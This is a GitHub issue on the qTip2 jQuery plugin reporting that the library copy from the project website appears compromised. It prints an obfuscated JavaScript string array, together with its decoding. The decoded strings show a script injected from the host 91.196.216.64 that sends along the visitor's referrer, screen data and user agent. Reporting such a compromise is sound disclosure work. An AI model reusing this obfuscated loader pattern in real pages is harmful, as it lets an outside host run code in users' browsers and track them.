Craga89/qTip2 — Issue #286: Code compromised, hits 91.196.216.64 frequently ?
Author: no1youknowz
Created: 2011-12-08 14:31:02+00:00
State: open

Version 1, taken from the website.

var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];

Translates to : ["sc_co", "getElementById", "colorDepth", "width", "height", "charset", "location", "referrer", "userAgent", "script", "createElement", "id", "src", "http://91.196.216.64/s.php?ref=", "&cls=", "&sw=", "&sh=", "&dc=", "&lc=", "&ua=", "head", "getElementsByTagName", "appendChild"]

There is: http://91.196.216.64/s.php?ref= which apparently sends your browser agent and another piece of info.

Also see: http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack for more information.